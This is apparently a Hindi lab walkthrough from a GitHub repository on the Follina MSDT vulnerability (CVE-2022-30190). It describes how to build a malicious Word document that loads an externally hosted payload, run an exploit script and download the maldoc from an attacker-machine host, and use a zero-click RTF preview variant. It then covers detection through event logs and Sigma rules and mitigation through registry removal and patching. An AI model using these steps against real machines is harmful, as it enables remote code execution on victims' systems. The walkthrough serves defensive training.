muhammad-ali007/follina_msdt_cve-2022-30190
Microsoft बताता है कि “जब किसी कॉलिंग एप्लिकेशन जैसे Word के माध्यम से URL प्रोटोकॉल का उपयोग करके MSDT को कॉल किया जाता है, तो एक रिमोट कोड एक्सीक्यूशन भेद्यता उत्पन्न होती है। जो हमलावर इस भेद्यता का सफलतापूर्वक शोषण करता है, वह कॉलिंग एप्लिकेशन के विशेषाधिकारों के साथ मनमाना कोड चला सकता है। इसके बाद हमलावर प्रोग्राम इंस्टॉल कर सकता है, डेटा देख, बदल या हटा सकता है, या उपयोगकर्ता के अधिकारों द्वारा अनुमत संदर्भ में नए खाते बना सकता है”। (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft कहता है कि “Microsoft Support Diagnostic Tool (MSDT) Microsoft Support को भेजने के लिए जानकारी एकत्र करता है। वे फिर इस जानकारी का विश्लेषण करेंगे और इसका उपयोग आपके कंप्यूटर पर आने वाली किसी भी समस्या का समाधान निर्धारित करने के लिए करेंगे”। इसे ध्यान में रखते हुए, यह अनिवार्य रूप से Microsoft Support के लिए तुरंत यह देखने का एक तरीका है कि क्या गलत है, क्योंकि उन्हें सीधे स्रोत से वह सारी जानकारी मिल रही है जिसकी उन्हें आवश्यकता होती है।
एक्सप्लॉइट की व्याख्या
आइए एक अस्वीकरण के साथ शुरू करें: हमारे उद्देश्यों के लिए, हम अपने पेलोड को एक Word दस्तावेज़ के माध्यम से लोड करेंगे, विशेष रूप से .docx प्रारूप में - यह मूल एक्सप्लॉइट है जो वाइल्ड में खोजा गया था। हालाँकि, यह भेद्यता कई अन्य Office उत्पादों में भी काम करती सिद्ध हुई है।
इस भेद्यता के दो महत्वपूर्ण पहलू हैं: 1 - विशिष्ट docx फ़ाइलों में OLE (मूल रूप से Object Linking and Embedding का संक्षिप्त रूप) ऑब्जेक्ट संदर्भ होते हैं, और कभी-कभी, वे कहीं और होस्ट की गई HTML फ़ाइलों का रूप ले लेते हैं। 2 - MS-MSDT कोड निष्पादन की अनुमति देता है।
उपरोक्त दोनों पहलुओं को मिलाकर, एक MS-MSDT HTML स्कीम का उपयोग PowerShell कोड निष्पादित करने के लिए किया जा सकता है, और एक docx फ़ाइल का उपयोग Word की बाहरी संदर्भ क्षमता के माध्यम से इसे लोड करने के लिए किया जा सकता है।
अधिक विशेष रूप से, docx संरचना में गहराई से जाने पर, "word/_rels/document.xml.rels" फ़ाइल में एक XML टैग होता है जिसका एट्रिब्यूट Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" एक बाहरी oleObject संदर्भ का वर्णन करता है। इस docx सुविधा का शोषण करने के लिए, हम इस टैग की सामग्री को संपादित कर सकते हैं ताकि Target मान को http://<external_payload_server.com>/<payload.html> और TargetMode मान को "External" में बदलकर यह हमारे द्वारा होस्ट किए जा रहे पेलोड की ओर इंगित करे।
word/document.xml फ़ाइल में, एक XML टैग है जो <o:OLEObject...> से शुरू होता है, जिसमें हमें Type मान को "Link" में बदलना चाहिए और फिर की-वैल्यू पेयर एट्रिब्यूट UpdateMode="OnCall" जोड़ना चाहिए।
अब केवल एक ही काम बचा है — उस पेलोड को होस्ट करना जिससे Word फ़ाइल कनेक्ट होगी, और फ़ाइल खोलने पर उससे निर्देश प्राप्त करेगी। यह निम्नलिखित के समान संरचना वाली एक HTML फ़ाइल बनाकर किया जाता है:
उपरोक्त HTML फ़ाइल की सामग्री में, आप ms-msdt:/id PCWDiagnostic /skip force /param कमांड देखेंगे, साथ ही कमांड स्विच भी देखेंगे जिनका उपयोग आप टारगेट मशीन में निष्पादित करने के लिए वांछित कमांड सेट करने हेतु कर सकते हैं। फिर आप अपने उद्देश्यों के अनुसार पेलोड को मिक्स और मैच कर सकते हैं।
इस प्रकार, अब हमारे पास बिना किसी मैक्रो को छुए रिमोट कोड एक्सीक्यूशन प्राप्त करने का एक तरीका है, और जैसा कि हम बाद में देखेंगे, बिना दुर्भावनापूर्ण दस्तावेज़ को खोले भी।
सार्वजनिक रूप से उपलब्ध एक्सप्लॉइट फोकस (https://github.com/JohnHammond/msdt-follina) John Hammond ने एक दुर्भावनापूर्ण दस्तावेज़ (maldoc) बनाने की प्रक्रिया को स्वचालित करने और तदनुसार उस दुर्भावनापूर्ण HTML फ़ाइल को होस्ट करने के लिए एक टूल बनाया है जिसमें बुरा कमांड रहता है। यह टूल ऊपर दिए गए लिंक में प्रलेखित है, और हम पहले छूए गए एक्सप्लॉइट की अवधारणा को और समझने के लिए इसका एक फोर्क्ड संस्करण उपयोग करेंगे।
एक टर्मिनल खोलें, इस रिपॉजिटरी को क्लोन करें और अपनी वर्किंग डायरेक्टरी को उस स्थान पर बदलें जहाँ msdt-follina रिपॉजिटरी क्लोन की गई है। root@host:~/Follina-MSDT# python3 follina.py
एक्सप्लॉइट चालू करने पर, आप पहले से ही फ़ाइल को होस्ट कर रहे होंगे, इसलिए यह पीड़ित मशीन तक “पहुँचाने” के लिए तैयार है। मूल टर्मिनल को खुला रखते हुए, एक और टर्मिनल खोलें और फ़ाइलों को एक सर्वर पर होस्ट करने के लिए निम्न कमांड दर्ज करें: root@host:~/Follina-MSDT# python -m http.server 3456
टारगेट मशीन पर, कमांड प्रॉम्प्ट खोलें और निम्न कमांड दर्ज करें: C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
यह हमारी मशीन में मैलडॉक डाउनलोड करता है और इस प्रकार, थोड़ी ही देर बाद, आपको डेस्कटॉप पर follina.docx नामक Word फ़ाइल दिखाई देनी चाहिए, जो चलाने के लिए तैयार है। जब आप तैयार हों, तो फ़ाइल खोलें और देखें कि क्या होता है। अभी के लिए, मैलडॉक और उसके द्वारा उत्पन्न सभी चीज़ों को चालू रहने दें।
"ज़ीरो क्लिक" कार्यान्वयन
इस भेद्यता के “ज़ीरो क्लिक” कार्यान्वयन की नकल करने के लिए, हम केवल दुर्भावनापूर्ण Word फ़ाइल पर जाते हैं, एक प्यारा सा संदेश जोड़ते हैं (पूरी तरह से वैकल्पिक), इसे रिच टेक्स्ट फॉर्मेट (RTF) में सहेजते हैं, और हम तैयार हैं। यह कार्यान्वयन मानता है कि पीड़ित मशीन प्रीव्यू पेन व्यू में है, अन्यथा यह मूल कार्यक्षमता पर वापस आ जाएगा जो फ़ाइल खोलने पर भी चलेगा।
फ़ाइल एक्सप्लोरर खोलें और डेस्कटॉप फ़ोल्डर पर जाएँ। वहाँ आपको वह प्रतीत होने वाली भोली फ़ाइल दिखाई देगी जो हमने बनाई है और जिसे क्लिक करने की आवश्यकता है। इसे एक बार क्लिक करें, सावधान रहें कि इसे वास्तव में न खोलें, और देखें कि क्या होता है।
फ़ाइल को वास्तव में खोले बिना भी, एक्सप्लॉइट उसी तरह चला जैसा वह इस अभ्यास में पहले चला था। यह दो प्रमुख विशेषताओं के कारण हुआ: 1 - फ़ाइल एक्सप्लोरर की फ़ाइलों को खोलने से पहले उनका प्रीव्यू दिखाने की विशेषता। 2 - RTF जो दस्तावेज़ फ़ाइलों को खोले जाने से पहले फ़ाइल एक्सप्लोरर में प्रीव्यू किए जाने की सुविधा देता है (अन्य उद्देश्यों के अलावा)।
दोनों को मिलाकर और फिर उनका दुरुपयोग करने पर एक अटैक वेक्टर उत्पन्न होता है जिसे हमने अभी देखा है।
पहचान और शमन थ्रेट हंटिंग:
भेद्यता के शोषण का अध्ययन करने के लिए हमने जिस Windows मशीन का उपयोग किया है, उसमें पहले से ही निम्न के लिए लॉगिंग सक्षम कॉन्फ़िगर की गई है:
ये ऑडिटिंग तंत्र डिफ़ॉल्ट रूप से कॉन्फ़िगर नहीं होते हैं, और इसलिए यह अनिवार्य है कि इन्हें आपके अपने वातावरण में चालू किया जाए ताकि संदिग्ध व्यवहार की पहचान में सहायता मिले, और फोरेंसिक परीक्षकों के लिए मूल्यवान डेटा उपलब्ध रखने में मदद मिले।
पिछली प्रक्रिया के दौरान, हमने भेद्यता के शोषण पर कई दिलचस्प प्रोसेस क्रिएशन की पहचान की है। ये प्रोसेस क्रिएशन Windows Security Logs में लॉग होते हैं, जो आपके पसंदीदा व्यूअर के माध्यम से विश्लेषण के लिए तैयार रहते हैं, या बाद में प्रोसेस करने तथा आगे उपयोग करने के लिए एक केंद्रीकृत लॉग कलेक्टर को अग्रेषित किए जा सकते हैं।
इस कार्य के लिए हम Nirsoft द्वारा निर्मित Event Log Viewer for Windows का उपयोग करेंगे ताकि पहले पहचाने गए प्रोसेस क्रिएशन की जाँच कर सकें। फिर हम इन प्रोसेस क्रिएशन के भीतर उन विवरणों को खोजेंगे जिनका उपयोग हम अन्य इवेंट लॉग में सुराग खोजने के लिए कर सकते हैं, ताकि पर्दे के पीछे क्या हुआ, इसे बेहतर ढंग से समझाया जा सके।
FullEventLogView खोलें। View > Use Quick Filter पर जाएँ। लॉग के ऊपर एक सर्च बार दिखाई देना चाहिए जो हमें त्वरित खोज करने की अनुमति देगा। चूँकि हम अपने प्रोसेस क्रिएशन का विवरण जाँचना चाहते थे, हम सबसे बाएँ ड्रॉप-डाउन मेनू पर क्लिक कर सकते हैं और Find Event ID (space/comma...) चुन सकते हैं, फिर दिए गए सर्च बार में 4688 टाइप करें।
स्क्रीन पर Process Creation इवेंट्स भर जाने चाहिए और आप तुरंत देखेंगे कि मशीन के साथ न्यूनतम इंटरैक्शन के बावजूद, उनमें से बहुत सारे हैं।
पहला आर्टिफैक्ट जिसे हम जाँचेंगे वह winword.exe है — इस प्रोसेस से इवेंट्स के प्रवाह को समझना हमें यह अंदाज़ा देता है कि सामान्य रूप से एक Office प्रक्रिया, msdt शोषण के संदर्भ में कैसे व्यवहार करेगी। Find फ़ंक्शन लाने के लिए Ctrl+F दबाएँ और winword टाइप करें।
पहली एंट्री जो आपको संभवतः दिखेगी वह वह है जहाँ WINWORD.EXE नई प्रोसेस के रूप में बनाई जा रही है, जिसे New Process Name विवरण से पहचाना जाता है। यह प्रोसेस follina.docx फ़ाइल के खुलने को चिह्नित करती है, जो Process Command Line विवरण के माध्यम से दिखती है। इसका बिल्कुल समान न दिखना पूरी तरह से सामान्य है। Find Next बटन तब तक क्लिक करते रहें जब तक आपको एक लंबे "ms-msdt" (powershell) कमांड जैसी कोई एंट्री न मिल जाए।
यहाँ हम देखेंगे कि WINWORD.EXE क्रिएटर प्रोसेस है, जिसे अधिक सामान्यतः msdt.exe की पैरेंट प्रोसेस के रूप में जाना जाता है। लंबी कमांड लाइन एंट्री पर ध्यान दें जिसमें कई PowerShell cmdlets (उच्चारण कमांड-लेट्स) के साथ-साथ कई डायरेक्टरी ट्रैवर्सल शामिल हैं। इसे अपने वातावरण में अकेले देखते ही तुरंत खतरे की घंटी बज जानी चाहिए। एक मुफ़्त सुराग जिसे हम यहाँ करीब से देख सकते हैं वह है Y2FsYw== स्ट्रिंग, जिसे डिकोड करने पर calc स्ट्रिंग प्राप्त होती है।
चूँकि हमने PowerShell cmdlets देखे, इसलिए हमारे लिए इस सुराग की और जाँच करने हेतु PowerShell इवेंट्स को फ़िल्टर करना उचित होगा। चूँकि PowerShell इवेंट्स को लॉग करने वाले बहुत सारे अद्वितीय इवेंट ID हैं, हम Provider के माध्यम से फ़िल्टर कर सकते हैं। Options > Advanced Options पर जाएँ। दूसरे ड्रॉपडाउन मेनू पर क्लिक करें और Show only the specific providers (comma-delimited...) चुनें। PowerShell को वाइल्डकार्ड (*) के साथ टाइप करें ताकि PowerShell से संबंधित सभी प्रोवाइडर शामिल हो जाएँ।
पहले दर्ज किए गए 4688 को "Quick Filter" बॉक्स से साफ़ करें, और स्क्रीन पर केवल PowerShell प्रोवाइडर से आने वाले इवेंट्स भर जाने चाहिए। यहाँ से, हम ऊपर नोट किए गए PowerShell कमांड के भाग के माध्यम से इवेंट्स को फ़िल्टर कर सकते हैं।
इस इवेंट पर पहुँचने के बाद, हम find फ़ंक्शन को बंद कर सकते हैं और फिर इस Scriptblock टेक्स्ट की पगडंडी का अनुसरण कर सकते हैं; आप अपने कीबोर्ड में डाउन कुंजी दबाकर या मैन्युअल रूप से इवेंट पर क्लिक करके अगले इवेंट पर नेविगेट कर सकते हैं। इस scriptblock टेक्स्ट के तुरंत बाद आने वाले इवेंट्स की खोज करने पर PowerShell के परिप्रेक्ष्य में calc का चरण-दर-चरण निष्पादन दिखाई देगा।
सिग्मा नियम की उपलब्धता: Huntress की Detection Engineer Matthew Brennan ने वातावरण में संदिग्ध MSDT निष्पादन का पता लगाने के लिए एक सिग्मा नियम बनाया है और इसके बारे में सबसे अच्छी बात यह है कि जब भी समुदाय कुछ नया खोजता है, इसे अपडेट किया जाता रहता है।
सिग्मा नियम यहाँ पाया जा सकता है (https://gist.github.com/matthewB-huntress/14ab9d309f25a05fc9305a8e7f351089)
Uncoder.IO (https://uncoder.io/) एक बेहतरीन टूल है जो सिग्मा नियमों को ऐसे क्वेरीज़ में बदलने में मदद करता है जिन्हें आपकी पसंद के SIEM में तुरंत उपयोग किया जा सकता है।
वातावरण में MSDT एक्सप्लॉइट्स की खोज में, आप सिग्मा नियम को दोनों के लिए पहचान तंत्र के रूप में उपयोग करना चुन सकते हैं:
MSDT निष्पादन को चैनल करने के लिए एक अन्य बाइनरी (https://twitter.com/KyleHanslovan/status/1531114931973767168) का भी उपयोग करता है, इसलिए इसे पैरेंट मानकर बनने वाली संदिग्ध चाइल्ड प्रोसेसेस पर ध्यान दिया जाना चाहिए और आगे जाँच की जानी चाहिए। ऊपर दी गई "redacted" जानकारी पिछले कार्य में एक प्रश्न का उत्तर है — अपने जोखिम पर देखें।
आगे पढ़ने के लिए: Follina का पता लगाना: Microsoft Office रिमोट कोड एक्सीक्यूशन ज़ीरो-डे (https://www.logpoint.com/en/blog/detecting-follina-microsoft-office-remote-code-execution-zero-day/)
एंटीवायरस / Windows Defender: कई Microsoft Defender उत्पादों में पहचान तंत्र मौजूद हैं और हमारा विश्वसनीय Microsoft Security Response Center (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/) हमें उनकी एक सूची प्रदान करता है।
निवारण
इस भेद्यता का पैच जून 2022 के क्यूम्यूलेटिव Windows Updates में है। यह अनिवार्य है कि उपयोगकर्ता भेद्यता से सुरक्षित रहने के लिए इन अपडेट्स को इंस्टॉल करें। आप इसे हर बार मैन्युअल रूप से कर सकते हैं, जो बहुत कुशल नहीं है और भूलने की संभावना रहती है, या आप अपडेट्स की जाँच और इंस्टॉलेशन को स्वचालित करना चुन सकते हैं।
MSDT URL प्रोटोकॉल अक्षम करें: पैच पेश किए जाने से पहले, सुरक्षा टीमों ने अपने संगठन के IT Administrators से तुरंत MSDT URL प्रोटोकॉल को अक्षम करने को कहा। MSDT URL प्रोटोकॉल को अक्षम करने से, ट्रबलशूटर लिंक के रूप में लॉन्च नहीं होंगे और इसलिए ms-msdt को Office द्वारा कॉल नहीं किया जा सकेगा। प्रोटोकॉल को अक्षम करने के लिए, पहले कमांड प्रॉम्प्ट को एडमिनिस्ट्रेटर के रूप में चलाएँ C:\Users\Administrator> reg query HKEY_CLASSES_ROOT\ms-msdt C:\Users\Administrator> reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt_backup C:\Users\Administrator\Desktop> reg delete HKEY_CLASSES_ROOT\ms-msdt /f C:\Users\Administrator\Desktop> reg query HKEY_CLASSES_ROOT\ms-msdt
अब तक, आपने ध्यान दिया होगा कि हम अपनी वर्किंग डायरेक्टरी को हमेशा डेस्कटॉप पर बदल रहे हैं - ऐसा इसलिए है ताकि हम तुरंत उन परिवर्तनों को देख सकें जो हमारे कमांड वातावरण में ला रहे हैं: फ़ाइल निर्माण काफी ध्यान देने योग्य है। हालाँकि, यह किसी भी वातावरण में करने की सर्वोत्तम प्रथा नहीं है।
पहला reg query कमांड जो हमने पेश किया है, यह त्वरित जाँच है कि key मौजूद है। इसके बाद reg export आता है जो हमारी key को एक फ़ाइल में निर्यात करता है ताकि बाद में जब Microsoft इस भेद्यता का अधिक स्थायी समाधान लेकर आए, तो हम इसे अपने सिस्टम में पुनः एकीकृत कर सकें। निर्यात की गई फ़ाइल वर्तमान वर्किंग डायरेक्टरी में सहेजी जाती है - हमारे मामले में डेस्कटॉप। reg delete कमांड वह कमांड है जो वास्तव में MSDT URL प्रोटोकॉल को अक्षम करता है, मुख्यतः क्योंकि यह इसे सिस्टम से पूरी तरह से हटा देता है। अंतिम reg query कमांड एक पुष्टिकरण जाँच है कि key अब मौजूद नहीं है।
अपनी Windows मशीन में MSDT URL प्रोटोकॉल को अक्षम करने के बाद, आइए एक्सप्लॉइट को फिर से ट्रिगर करने का प्रयास करें, और देखें कि इसका मशीन पर क्या प्रभाव पड़ता है। यह जाँचने का एक अच्छा तरीका है कि हमारे नियंत्रण हमलों को पकड़ पाएंगे या नहीं, चाहे वे सफल हों या न हों।
अटैक सरफेस रिडक्शन (ASR): यदि आप अपने वातावरण में Microsoft Defender for Endpoint का उपयोग कर रहे हैं, तो ASR नियम Block all Office applications from creating child को सक्षम करें। उन सेवाओं से चाइल्ड प्रोसेसेस बनाना जिन्हें ऐसा नहीं करना चाहिए, मैलवेयर के बीच एक सामान्य विषय है। आगे पढ़ें: (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
अंत में, कुछ निवारण प्रक्रियाएँ जो सीधी और आसानी से तैनात करने योग्य हैं, इस विषय को समाप्त करने का चुना गया तरीका रहा है। Microsoft ने पहले ही एक पैच जारी कर दिया है जो PowerShell इंजेक्शन को ब्लॉक करता है, प्रभावी रूप से उस अटैक वेक्टर को अक्षम कर देता है।
